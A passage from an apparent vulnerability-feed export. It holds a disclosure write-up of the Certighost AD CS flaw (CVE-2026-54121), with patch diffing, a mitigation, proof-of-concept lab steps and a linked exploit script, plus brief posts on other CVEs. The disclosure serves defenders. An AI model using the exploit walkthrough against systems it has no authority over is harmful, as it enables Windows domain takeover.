`certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-08-08T14:40:00.232724Z"}, {"uuid": "bd523b90-e4c9-42c1-8399-80339b193b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/g6vvs5ka6vk35", "content": "CVE-2026-54876: OpenSSL: Client-Side Memory Leak in OCSP Response Checking", "creation_timestamp": "2026-08-05T15:07:11.835698Z"}, {"uuid": "589660a3-1c3d-44f0-91cd-bc5324873b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5411", "type": "seen", "source": "https://bsky.app/profile/pulse-wp.com/post/3mnldv57rk32f", "content": "Attackers upload files. Extract your wp-config. Read database credentials. CVE-2026-5411, CVSS 8.8. WP Captcha PRO up to 5.38 lets any visitor do this. Update to 5.38+ now. Scan your WordPress site: pulse-wp.com\n#WordPress #RCE #CyberSecurity", "creation_timestamp": "2026-06-06T00:00:14.439530Z"}, {"uuid": "36e1ebd2-0838-4166-84e2-912d01eb63c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnkwim4aqz2b", "content": "\ud83d\udfe0 CVE-2026-5415 - High (8.8)\n\nThe WP Captcha PRO (the premium version of the Advanced Google reCAPTCHA plugin, both have the sa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5415/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-05T20:00:36.417701Z"}, {"uuid": "824f23f2-f6ca-40e5-8a09-39f354906d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5411", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnkwitip3v2b", "content": "\ud83d\udfe0 CVE-2026-5411 - High (8.8)\n\nThe WP Captcha PRO (the premium version of the Advanced Google reCAPTCHA plugin, both have the sa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5411/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-05T20:00:43.965067Z"}, {"uuid": "b4ccd20f-2628-4b0a-9a0b-f8ff223b7f0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5415", "type": "seen", "source": "https://bsky.app/profile/pulse-wp.com/post/3mnldv73u4r2d", "content": "Authentication bypass. Anyone hits your site, bypasses login, runs admin tools. CVE-2026-5415. CVSS 8.8.\n\nWP Captcha PRO \u22645.38 trusts nonces alone. No capability checks. Your site is open.\n\nUpdate to 5.38 now.\n\nScan your WordPress site: pulse-wp.com\n#WordPress #CVE #CyberSecurity", "creation_timestamp": "2026-06-06T00:00:16.452495Z"}, {"uuid": "c1508201-9a0f-4071-becc-6dfffa4f81ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/purpleshift/204", "content": "\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0432\u0435\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows Server \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Certighost (CVE-2026-54121) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0434\u043e\u043c\u0435\u043d\u043e\u043c. \n\n\u0410\u0442\u0430\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 ADCS, \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e Certification Authority \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430 (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 cdc) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c \u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 rmd). \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e CA \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u0432 cdc \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0435\u043c\u0443 \u0445\u043e\u0441\u0442 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 LDAP/LSA \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u041f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0435 ADCS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041d\u043e \u043a\u0430\u043a \u0443\u0437\u043d\u0430\u0442\u044c, \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u043b\u0438 \u0432\u0430\u0448\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0435\u0449\u0451 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f? \u041e\u0431 \u044d\u0442\u043e\u043c \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0429\u0435\u0442\u0438\u043d\u0438\u043d\u0430 \"\u0414\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0430\u0442\u0430\u043a\u0443 Certighost\".", "creation_timestamp": "2026-08-14T16:00:22.298331Z"}, {"uuid": "ddf06b6e-ded0-457b-8742-32cf5818b961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54433", "type": "seen", "source": "https://t.me/GithubRedTeam/98057", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54433\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aramosf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-14 14:24:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-54433 Roundcube plain-text email stored XSS PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T16:00:23.134858Z"}, {"uuid": "41258fbd-9338-4c2d-a717-7a4d04027fb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "seen", "source": "Telegram/sjJtFOPrNVJGH8Bcyfvt2TqqQ7q8xvrKLNMkHdu0Vl11BjU", "content": "", "creation_timestamp": "2026-08-05T21:00:04.088747Z"}, {"uuid": "0743ddcb-9f55-4ae8-bdd3-c3fb75120bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/pphm_HackerNews/2341", "content": "\ud83d\udd34 New Certighost PoC exploit lets attackers hijack Windows domains\n\nA proof-of-concept exploit for \u201cCertighost,\u201d a Windows Active Directory Certificate Services vulnerability, has been released that can allow authenticated attackers to potentially compromise a Windows domain.\n\nTracked as CVE-2026-54121, the vulnerability was fixed by Microsoft as part of the July 2026 Patch Tuesday security updates.\n\n\"An authenticated attacker could manipulate attributes associated with a machine account and obtain a certificate from Active Directory Certificate Services that allows authentication as that machine via PKINIT,\" Microsoft explained.", "creation_timestamp": "2026-08-21T23:00:07.616004Z"}, {"uuid": "4e6d1818-982b-42e6-9d28-f616746f4b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54572", "type": "published-proof-of-concept", "source": "https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc", "content": "", "creation_timestamp": "2026-08-05T22:35:40.161218Z"}, {"uuid": "e8231d91-e67b-4356-965c-2b2554145ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54330", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtjh7ac24k26", "content": "\ud83d\udd17 CVE : CVE-2025-30156, CVE-2026-39944, CVE-2026-50152, CVE-2026-54330", "creation_timestamp": "2026-08-20T14:25:25.221992Z"}, {"uuid": "bfab4902-1475-415e-9b12-dfea8b48ce87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54876", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3msep3657ns2n", "content": "OpenSSL\u306e\u8106\u5f31\u6027(Low: CVE-2026-54876)\n\n#sios_tech #security #vulnerability #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u8106\u5f31\u6027 #ssl #openssl\n\nsecurity.sios.jp/vulnerabilit...", "creation_timestamp": "2026-08-05T23:37:49.985654Z"}, {"uuid": "3b66a070-ea1e-4c62-a841-44e45528e01f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "published-proof-of-concept", "source": "Telegram/sjJtFOPrNVJGH8Bcyfvt2TqqQ7q8xvrKLNMkHdu0Vl11BjU", "content": "", "creation_timestamp": "2026-08-06T00:00:08.958596Z"}, {"uuid": "5785a5ca-3b82-4ce0-b27a-c3c321eefe66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5497", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116731007914371430", "content": "\u26a0\ufe0f CVE-2026-5497: HIGH severity DoS vuln in vLLM (v0.8.0+). Unauthenticated attackers can trigger OOM via crafted video/jpeg data URLs on the chat completions API. Limit request size & monitor! https://radar.offseq.com/threat/cve-2026-5497-cwe-400-uncontrolled-resource-consum-fdc34d07 #OffSeq #vllm #DoS #infosec", "creation_timestamp": "2026-06-11T10:30:27.938856Z"}, {"uuid": "688d8756-529c-4b07-9327-bc68448c4c3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5497", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnyzgozul62l", "content": "vLLM (v0.8.0+) faces a HIGH risk DoS (CVE-2026-5497): attackers can crash servers via unbounded base64 frames in the API. Limit input, monitor API traffic. https://radar.offseq.com/threat/cve-2026-5497-cwe-400-uncontrolled-resource-consum-fdc34d07 #OffSeq #vllm #security", "creation_timestamp": "2026-06-11T10:30:30.234517Z"}, {"uuid": "5bdd711c-e335-4bed-bfd5-5c2f6f5419c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5497", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnz35dj3xz2i", "content": "\ud83d\udfe0 CVE-2026-5497 - High (7.5)\n\nvLLM versions 0.8.0 and later are vulnerable to an Out-of-Memory (OOM) Denial of Service (DoS) at...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5497/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-11T11:01:03.109720Z"}, {"uuid": "50553ce5-3795-4066-9fb1-7ee365d81f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54330", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mtjiko2z7r2t", "content": "\ud83d\udc1b VULNERABILITIES (CVSS 8.2) CVE-2026-54330:  \u2014 severity important \u2014 Red Hat Security Data (JSON)\nhttps://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-54330.json #ZeroDay #PatchManagement #Vulnerability", "creation_timestamp": "2026-08-20T14:49:42.531520Z"}, {"uuid": "4ba24887-0af3-48b6-8aac-217a009e2dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5497", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116736036164662073", "content": "Some increased actor activities are shown targeting vLLM (CVE-2026-5497) https://vuldb.com/vuln/370359/cti", "creation_timestamp": "2026-06-12T07:49:12.313051Z"}, {"uuid": "9440a61d-1b51-4029-8514-2f6fff24f6ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/ritsuryo/716c2e7eca59dd5ac21ef4ee283f36d8", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  